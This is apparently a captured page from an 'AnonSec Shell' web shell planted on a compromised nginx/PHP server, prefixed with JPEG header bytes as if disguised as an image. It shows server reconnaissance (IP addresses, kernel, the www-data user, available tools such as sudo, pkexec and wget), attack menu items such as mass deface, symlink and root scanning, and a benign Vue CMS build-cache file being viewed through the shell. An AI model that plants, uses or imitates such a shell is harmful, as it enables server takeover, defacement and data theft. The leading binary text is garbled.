JFIF  H H C nxxd C "     &    !1A2Q"aqBb    1   ? R{~ ,.Y| @sl_޸s[+6ϵG};?2Y`&9LP ?3rj  "@V]:3T -G*P ( *(@AEY]qqqALn +Wtu?)l QU T* Aj- x:˸T u53Vh @PS@ ,i,!"\hPw+E@ ηnu ڶh% (Lvũbb- ?M֍݌٥IHln㏷L(6 9L^"6P  d&1H&8@TUT CJ%eʹFTj4i5=0g J &Wc+3kU@PS@HH33M * "Uc(\`F+b{RxWGk ^#Uj*v' V ,FYKɠMckZٸ]ePP  d\A2glo=WL(6 ^;k"ucoH"b ,PDVlvL_/:̗rN\m dcw T-O$w+FZ5T *Y~l: 99U)8ZAt@GLX*@bijqW;MᎹ،O[5*5*@=qusݝ *EPx՝.~ YИ 3M3@E)GTg%Anp P MUҀhԳW c֦iZ ffR 7qMcyAZT c0bZU k+oG<] APQ T A={PDti@c>>KÚ"q L.1P k6QY7t.k7o  <P &yַܼJZy Wz{UrS @ ~P)Y:A"]Y&ScVO%17 6l4 i4YR5 ruk* ؼdZͨZZ cLakb3N6æ\1`XTloTuT AA 7Uq@2ŬzoʼnБRͪ&8}: e}0ZNΖJ*Ս9˪ޘtao]7$ 9EjS} qt" ( .=Y:V#'H: δ4#6yjѥBB ;WD-ElFf67*\AmAD Q __'2$ TX 9nu'm@iPDT qS`%u%3[nY,  :g = tiX H]ij"+6Z* .~|05s6 ,ǡ ogm+ KtE-BF  ES@(UJ xM~8%g/= Vw[Vh 3lJT  rK -kˎY ٰ  ,ukͱٵf sXDP  ]p]&MS95O+j &f6m463@ t8ЕX=6}HR 5ٶ06 /@嚵*6  " hP@eVDiYQT `7tLf4c?m//B4 laj  L} :E  b#PHQb, yN`rkAb^ |} s4XB4 * ,@[{Ru+%le2} `,kI$U` >OMuh  P % ʵ/ L\5aɕVN1R6 3}ZLj-Dl@ *( K\^i@F@551 k㫖h  Q沬#h XV +;]6z OsFpiX $OQ ) ųl4 YtK'(W AnonSec Shell
AnonSec Shell
Server IP : 104.21.79.64  /  Your IP : 104.23.243.116   [ Reverse IP ]
Web Server : nginx/1.18.0
System : Linux ip-172-31-29-104 5.15.0-1075-aws #82~20.04.1-Ubuntu SMP Thu Dec 19 05:24:09 UTC 2024 x86_64
User : www-data ( 33)
PHP Version : 7.4.3-4ubuntu2.29
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
Domains : 2 Domains
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/app/kai/cms/node_modules/.cache/babel-loader/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     [ BACKUP SHELL ]     [ JUMPING ]     [ MASS DEFACE ]     [ SCAN ROOT ]     [ SYMLINK ]     

Current File : /var/app/kai/cms/node_modules/.cache/babel-loader/9f93c5e52bf7eccb8a544e4d7acf39b4.json
{"remainingRequest":"/var/app/kai/cms/node_modules/thread-loader/dist/cjs.js!/var/app/kai/cms/node_modules/babel-loader/lib/index.js!/var/app/kai/cms/node_modules/cache-loader/dist/cjs.js??ref--1-0!/var/app/kai/cms/node_modules/vue-loader/lib/index.js??vue-loader-options!/var/app/kai/cms/src/components/roles/RoleAccessField.vue?vue&type=script&lang=js&","dependencies":[{"path":"/var/app/kai/cms/src/components/roles/RoleAccessField.vue","mtime":1727535746280},{"path":"/var/app/kai/cms/babel.config.js","mtime":1727535746252},{"path":"/var/app/kai/cms/node_modules/cache-loader/dist/cjs.js","mtime":1727535780436},{"path":"/var/app/kai/cms/node_modules/thread-loader/dist/cjs.js","mtime":1727535780458},{"path":"/var/app/kai/cms/node_modules/babel-loader/lib/index.js","mtime":1727535780406},{"path":"/var/app/kai/cms/node_modules/cache-loader/dist/cjs.js","mtime":1727535780436},{"path":"/var/app/kai/cms/node_modules/vue-loader/lib/index.js","mtime":1727535789538}],"contextDependencies":[],"result":[{"type":"Buffer","data":"base64:aW1wb3J0IF9zbGljZWRUb0FycmF5IGZyb20gIi92YXIvYXBwL2thaS9jbXMvbm9kZV9tb2R1bGVzL0BiYWJlbC9ydW50aW1lL2hlbHBlcnMvZXNtL3NsaWNlZFRvQXJyYXkuanMiOwppbXBvcnQgX2FzeW5jVG9HZW5lcmF0b3IgZnJvbSAiL3Zhci9hcHAva2FpL2Ntcy9ub2RlX21vZHVsZXMvQGJhYmVsL3J1bnRpbWUvaGVscGVycy9lc20vYXN5bmNUb0dlbmVyYXRvci5qcyI7CmltcG9ydCBfdG9Db25zdW1hYmxlQXJyYXkgZnJvbSAiL3Zhci9hcHAva2FpL2Ntcy9ub2RlX21vZHVsZXMvQGJhYmVsL3J1bnRpbWUvaGVscGVycy9lc20vdG9Db25zdW1hYmxlQXJyYXkuanMiOwppbXBvcnQgInJlZ2VuZXJhdG9yLXJ1bnRpbWUvcnVudGltZS5qcyI7CmltcG9ydCAiY29yZS1qcy9tb2R1bGVzL2VzLmFycmF5Lm1hcC5qcyI7CmltcG9ydCAiY29yZS1qcy9tb2R1bGVzL2VzLmFycmF5LmNvbmNhdC5qcyI7CmltcG9ydCAiY29yZS1qcy9tb2R1bGVzL2VzLm9iamVjdC50by1zdHJpbmcuanMiOwppbXBvcnQgImNvcmUtanMvbW9kdWxlcy9lcy5vYmplY3QuZW50cmllcy5qcyI7Ci8vCi8vCi8vCi8vCi8vCi8vCi8vCi8vCi8vCi8vCi8vCi8vCi8vCi8vCi8vCi8vCi8vCi8vCi8vCi8vCi8vCi8vCi8vCi8vCi8vCi8vCi8vCi8vCi8vCi8vCi8vCi8vCi8vCi8vCi8vCi8vCi8vCi8vCi8vCmltcG9ydCB1bmlvbkJ5IGZyb20gJ2xvZGFzaC91bmlvbkJ5JzsKaW1wb3J0IFJvbGUgZnJvbSAnLi4vLi4vdXRpbHMvbW9kZWxzL1JvbGUnOwppbXBvcnQgQmFzZUZpZWxkIGZyb20gJy4uL2Zvcm1zL0Jhc2VGaWVsZCc7CmltcG9ydCBUb2dnbGVGaWVsZCBmcm9tICcuLi9mb3Jtcy9Ub2dnbGVGaWVsZCc7CmV4cG9ydCBkZWZhdWx0IHsKICBleHRlbmRzOiBCYXNlRmllbGQsCiAgY29tcG9uZW50czogewogICAgVG9nZ2xlRmllbGQ6IFRvZ2dsZUZpZWxkCiAgfSwKICBwcm9wczogWydyZWFkb25seSddLAogIGRhdGE6IGZ1bmN0aW9uIGRhdGEoKSB7CiAgICByZXR1cm4gewogICAgICBpbnB1dDoge30sCiAgICAgIG1vZHVsZXM6IFtdCiAgICB9OwogIH0sCiAgY29tcHV0ZWQ6IHsKICAgIGFsbFBlcm1pc3Npb25zOiBmdW5jdGlvbiBhbGxQZXJtaXNzaW9ucygpIHsKICAgICAgdmFyIG1vZHVsZXMgPSB0aGlzLm1vZHVsZXMubWFwKGZ1bmN0aW9uIChfcmVmKSB7CiAgICAgICAgdmFyIHBlcm1pc3Npb25zID0gX3JlZi5wZXJtaXNzaW9uczsKICAgICAgICByZXR1cm4gcGVybWlzc2lvbnM7CiAgICAgIH0pOwogICAgICByZXR1cm4gdW5pb25CeS5hcHBseSh2b2lkIDAsIF90b0NvbnN1bWFibGVBcnJheShtb2R1bGVzKS5jb25jYXQoW2Z1bmN0aW9uIChfcmVmMikgewogICAgICAgIHZhciBjb2RlID0gX3JlZjIuY29kZTsKICAgICAgICByZXR1cm4gY29kZTsKICAgICAgfV0pKTsKICAgIH0KICB9LAogIG1ldGhvZHM6IHsKICAgIGZldGNoOiBmdW5jdGlvbiBmZXRjaCgpIHsKICAgICAgdmFyIF90aGlzID0gdGhpczsKCiAgICAgIHJldHVybiBfYXN5bmNUb0dlbmVyYXRvciggLyojX19QVVJFX18qL3JlZ2VuZXJhdG9yUnVudGltZS5tYXJrKGZ1bmN0aW9uIF9jYWxsZWUoKSB7CiAgICAgICAgcmV0dXJuIHJlZ2VuZXJhdG9yUnVudGltZS53cmFwKGZ1bmN0aW9uIF9jYWxsZWUkKF9jb250ZXh0KSB7CiAgICAgICAgICB3aGlsZSAoMSkgewogICAgICAgICAgICBzd2l0Y2ggKF9jb250ZXh0LnByZXYgPSBfY29udGV4dC5uZXh0KSB7CiAgICAgICAgICAgICAgY2FzZSAwOgogICAgICAgICAgICAgICAgX2NvbnRleHQubmV4dCA9IDI7CiAgICAgICAgICAgICAgICByZXR1cm4gUm9sZS5hcGkuZmV0Y2hNb2R1bGVzKCkudGhlbihmdW5jdGlvbiAoX3JlZjMpIHsKICAgICAgICAgICAgICAgICAgdmFyIGRhdGEgPSBfcmVmMy5kYXRhOwogICAgICAgICAgICAgICAgICByZXR1cm4gZGF0YS5kYXRhOwogICAgICAgICAgICAgICAgfSk7CgogICAgICAgICAgICAgIGNhc2UgMjoKICAgICAgICAgICAgICAgIF90aGlzLm1vZHVsZXMgPSBfY29udGV4dC5zZW50OwoKICAgICAgICAgICAgICBjYXNlIDM6CiAgICAgICAgICAgICAgY2FzZSAiZW5kIjoKICAgICAgICAgICAgICAgIHJldHVybiBfY29udGV4dC5zdG9wKCk7CiAgICAgICAgICAgIH0KICAgICAgICAgIH0KICAgICAgICB9LCBfY2FsbGVlKTsKICAgICAgfSkpKCk7CiAgICB9LAogICAgbG9hZDogZnVuY3Rpb24gbG9hZCgpIHsKICAgICAgdmFyIF90aGlzMiA9IHRoaXM7CgogICAgICB0aGlzLmlzTG9hZGluZyA9IHRydWU7CiAgICAgIHRoaXMuaW5wdXQgPSB0aGlzLnBhcnNlKHRoaXMudmFsdWUpOwogICAgICB0aGlzLiRuZXh0VGljayhmdW5jdGlvbiAoKSB7CiAgICAgICAgcmV0dXJuIF90aGlzMi5pc0xvYWRpbmcgPSBmYWxzZTsKICAgICAgfSk7CiAgICB9LAogICAgcGFyc2U6IGZ1bmN0aW9uIHBhcnNlKGlucHV0KSB7CiAgICAgIHZhciBzdHJ1Y3R1cmUgPSB0aGlzLm1vZHVsZXMucmVkdWNlKGZ1bmN0aW9uIChyZXN1bHQsIG1vZHVsZSkgewogICAgICAgIHJlc3VsdFttb2R1bGUuY29kZV0gPSBtb2R1bGUucGVybWlzc2lvbnMucmVkdWNlKGZ1bmN0aW9uIChyZXN1bHQsIHBlcm1pc3Npb24pIHsKICAgICAgICAgIHJlc3VsdFtwZXJtaXNzaW9uLmNvZGVdID0gZmFsc2U7CiAgICAgICAgICByZXR1cm4gcmVzdWx0OwogICAgICAgIH0sIHt9KTsKICAgICAgICByZXR1cm4gcmVzdWx0OwogICAgICB9LCB7fSk7CiAgICAgIHJldHVybiBPYmplY3QuZW50cmllcyhpbnB1dCB8fCB7fSkucmVkdWNlKGZ1bmN0aW9uIChyZXN1bHQsIF9yZWY0KSB7CiAgICAgICAgdmFyIF9yZWY1ID0gX3NsaWNlZFRvQXJyYXkoX3JlZjQsIDIpLAogICAgICAgICAgICBtb2R1bGUgPSBfcmVmNVswXSwKICAgICAgICAgICAgcGVybWlzc2lvbnMgPSBfcmVmNVsxXTsKCiAgICAgICAgcmVzdWx0W21vZHVsZV0gPSBwZXJtaXNzaW9uczsKICAgICAgICByZXR1cm4gcmVzdWx0OwogICAgICB9LCBzdHJ1Y3R1cmUpOwogICAgfQogIH0sCiAgd2F0Y2g6IHsKICAgIHZhbHVlOiBmdW5jdGlvbiB2YWx1ZSgpIHsKICAgICAgdGhpcy5sb2FkKCk7CiAgICB9LAogICAgaW5wdXQ6IHsKICAgICAgaGFuZGxlcjogZnVuY3Rpb24gaGFuZGxlcihpbnB1dCkgewogICAgICAgIHRoaXMuaXNMb2FkaW5nIHx8IHRoaXMuJGVtaXQoJ2lucHV0JywgaW5wdXQpOwogICAgICB9LAogICAgICBkZWVwOiB0cnVlCiAgICB9CiAgfSwKICBiZWZvcmVNb3VudDogZnVuY3Rpb24gYmVmb3JlTW91bnQoKSB7CiAgICB2YXIgX3RoaXMzID0gdGhpczsKCiAgICByZXR1cm4gX2FzeW5jVG9HZW5lcmF0b3IoIC8qI19fUFVSRV9fKi9yZWdlbmVyYXRvclJ1bnRpbWUubWFyayhmdW5jdGlvbiBfY2FsbGVlMigpIHsKICAgICAgcmV0dXJuIHJlZ2VuZXJhdG9yUnVudGltZS53cmFwKGZ1bmN0aW9uIF9jYWxsZWUyJChfY29udGV4dDIpIHsKICAgICAgICB3aGlsZSAoMSkgewogICAgICAgICAgc3dpdGNoIChfY29udGV4dDIucHJldiA9IF9jb250ZXh0Mi5uZXh0KSB7CiAgICAgICAgICAgIGNhc2UgMDoKICAgICAgICAgICAgICBfY29udGV4dDIubmV4dCA9IDI7CiAgICAgICAgICAgICAgcmV0dXJuIF90aGlzMy5mZXRjaCgpOwoKICAgICAgICAgICAgY2FzZSAyOgogICAgICAgICAgICAgIF90aGlzMy5sb2FkKCk7CgogICAgICAgICAgICBjYXNlIDM6CiAgICAgICAgICAgIGNhc2UgImVuZCI6CiAgICAgICAgICAgICAgcmV0dXJuIF9jb250ZXh0Mi5zdG9wKCk7CiAgICAgICAgICB9CiAgICAgICAgfQogICAgICB9LCBfY2FsbGVlMik7CiAgICB9KSkoKTsKICB9Cn07"},{"version":3,"sources":["RoleAccessField.vue"],"names":[],"mappings":";;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;AAwCA,OAAA,OAAA,MAAA,gBAAA;AACA,OAAA,IAAA,MAAA,yBAAA;AAEA,OAAA,SAAA,MAAA,oBAAA;AACA,OAAA,WAAA,MAAA,sBAAA;AAEA,eAAA;AACA,EAAA,OAAA,EAAA,SADA;AAGA,EAAA,UAAA,EAAA;AAAA,IAAA,WAAA,EAAA;AAAA,GAHA;AAKA,EAAA,KAAA,EAAA,CAAA,UAAA,CALA;AAOA,EAAA,IAPA,kBAOA;AACA,WAAA;AACA,MAAA,KAAA,EAAA,EADA;AAEA,MAAA,OAAA,EAAA;AAFA,KAAA;AAIA,GAZA;AAcA,EAAA,QAAA,EAAA;AACA,IAAA,cADA,4BACA;AACA,UAAA,OAAA,GAAA,KAAA,OAAA,CAAA,GAAA,CAAA;AAAA,YAAA,WAAA,QAAA,WAAA;AAAA,eAAA,WAAA;AAAA,OAAA,CAAA;AACA,aAAA,OAAA,MAAA,4BAAA,OAAA,UAAA;AAAA,YAAA,IAAA,SAAA,IAAA;AAAA,eAAA,IAAA;AAAA,OAAA,GAAA;AACA;AAJA,GAdA;AAqBA,EAAA,OAAA,EAAA;AACA,IAAA,KADA,mBACA;AAAA;;AAAA;AAAA;AAAA;AAAA;AAAA;AAAA;AAAA,uBACA,IAAA,CAAA,GAAA,CACA,YADA,GAEA,IAFA,CAEA;AAAA,sBAAA,IAAA,SAAA,IAAA;AAAA,yBAAA,IAAA,CAAA,IAAA;AAAA,iBAFA,CADA;;AAAA;AACA,gBAAA,KAAA,CAAA,OADA;;AAAA;AAAA;AAAA;AAAA;AAAA;AAAA;AAAA;AAIA,KALA;AAOA,IAAA,IAPA,kBAOA;AAAA;;AACA,WAAA,SAAA,GAAA,IAAA;AACA,WAAA,KAAA,GAAA,KAAA,KAAA,CAAA,KAAA,KAAA,CAAA;AAEA,WAAA,SAAA,CAAA;AAAA,eAAA,MAAA,CAAA,SAAA,GAAA,KAAA;AAAA,OAAA;AACA,KAZA;AAcA,IAAA,KAdA,iBAcA,KAdA,EAcA;AACA,UAAA,SAAA,GAAA,KAAA,OAAA,CAAA,MAAA,CAAA,UAAA,MAAA,EAAA,MAAA,EAAA;AACA,QAAA,MAAA,CAAA,MAAA,CAAA,IAAA,CAAA,GAAA,MAAA,CAAA,WAAA,CAAA,MAAA,CACA,UAAA,MAAA,EAAA,UAAA,EAAA;AACA,UAAA,MAAA,CAAA,UAAA,CAAA,IAAA,CAAA,GAAA,KAAA;AACA,iBAAA,MAAA;AACA,SAJA,EAKA,EALA,CAAA;AAOA,eAAA,MAAA;AACA,OATA,EASA,EATA,CAAA;AAWA,aAAA,MAAA,CAAA,OAAA,CAAA,KAAA,IAAA,EAAA,EAAA,MAAA,CACA,UAAA,MAAA,SAAA;AAAA;AAAA,YAAA,MAAA;AAAA,YAAA,WAAA;;AACA,QAAA,MAAA,CAAA,MAAA,CAAA,GAAA,WAAA;AACA,eAAA,MAAA;AACA,OAJA,EAKA,SALA,CAAA;AAOA;AAjCA,GArBA;AAyDA,EAAA,KAAA,EAAA;AACA,IAAA,KADA,mBACA;AACA,WAAA,IAAA;AACA,KAHA;AAKA,IAAA,KAAA,EAAA;AACA,MAAA,OADA,mBACA,KADA,EACA;AACA,aAAA,SAAA,IAAA,KAAA,KAAA,CAAA,OAAA,EAAA,KAAA,CAAA;AACA,OAHA;AAIA,MAAA,IAAA,EAAA;AAJA;AALA,GAzDA;AAsEA,EAAA,WAtEA,yBAsEA;AAAA;;AAAA;AAAA;AAAA;AAAA;AAAA;AAAA;AAAA,qBACA,MAAA,CAAA,KAAA,EADA;;AAAA;AAEA,cAAA,MAAA,CAAA,IAAA;;AAFA;AAAA;AAAA;AAAA;AAAA;AAAA;AAAA;AAGA;AAzEA,CAAA","sourcesContent":["<template>\n  <div class=\"table-responsive\">\n    <table class=\"table table-borderless table-hover\">\n      <thead>\n        <tr>\n          <th>Module</th>\n          <th\n            v-for=\"permission of allPermissions\"\n            class=\"text-center\"\n            :key=\"permission.code\"\n          >\n            {{ permission.label }}\n          </th>\n        </tr>\n      </thead>\n      <tbody>\n        <tr v-for=\"module of modules\" :key=\"module.code\">\n          <td>{{ module.label }}</td>\n          <td\n            v-for=\"permission of allPermissions\"\n            class=\"text-center\"\n            :key=\"permission.code\"\n          >\n            <ToggleField\n              v-if=\"\n                input[module.code] &&\n                input[module.code][permission.code] !== undefined\n              \"\n              :value=\"input[module.code][permission.code]\"\n              :readonly=\"readonly\"\n              @input=\"input[module.code][permission.code] = $event\"\n            />\n          </td>\n        </tr>\n      </tbody>\n    </table>\n  </div>\n</template>\n\n<script>\nimport unionBy from 'lodash/unionBy';\nimport Role from '../../utils/models/Role';\n\nimport BaseField from '../forms/BaseField';\nimport ToggleField from '../forms/ToggleField';\n\nexport default {\n  extends: BaseField,\n\n  components: { ToggleField },\n\n  props: ['readonly'],\n\n  data() {\n    return {\n      input: {},\n      modules: [],\n    };\n  },\n\n  computed: {\n    allPermissions() {\n      const modules = this.modules.map(({ permissions }) => permissions);\n      return unionBy(...modules, ({ code }) => code);\n    },\n  },\n\n  methods: {\n    async fetch() {\n      this.modules = await Role.api\n        .fetchModules()\n        .then(({ data }) => data.data);\n    },\n\n    load() {\n      this.isLoading = true;\n      this.input = this.parse(this.value);\n\n      this.$nextTick(() => (this.isLoading = false));\n    },\n\n    parse(input) {\n      const structure = this.modules.reduce((result, module) => {\n        result[module.code] = module.permissions.reduce(\n          (result, permission) => {\n            result[permission.code] = false;\n            return result;\n          },\n          {}\n        );\n        return result;\n      }, {});\n\n      return Object.entries(input || {}).reduce(\n        (result, [module, permissions]) => {\n          result[module] = permissions;\n          return result;\n        },\n        structure\n      );\n    },\n  },\n\n  watch: {\n    value() {\n      this.load();\n    },\n\n    input: {\n      handler(input) {\n        this.isLoading || this.$emit('input', input);\n      },\n      deep: true,\n    },\n  },\n\n  async beforeMount() {\n    await this.fetch();\n    this.load();\n  },\n};\n</script>\n"],"sourceRoot":"src/components/roles"}]}

Anon7 - 2022
AnonSec Team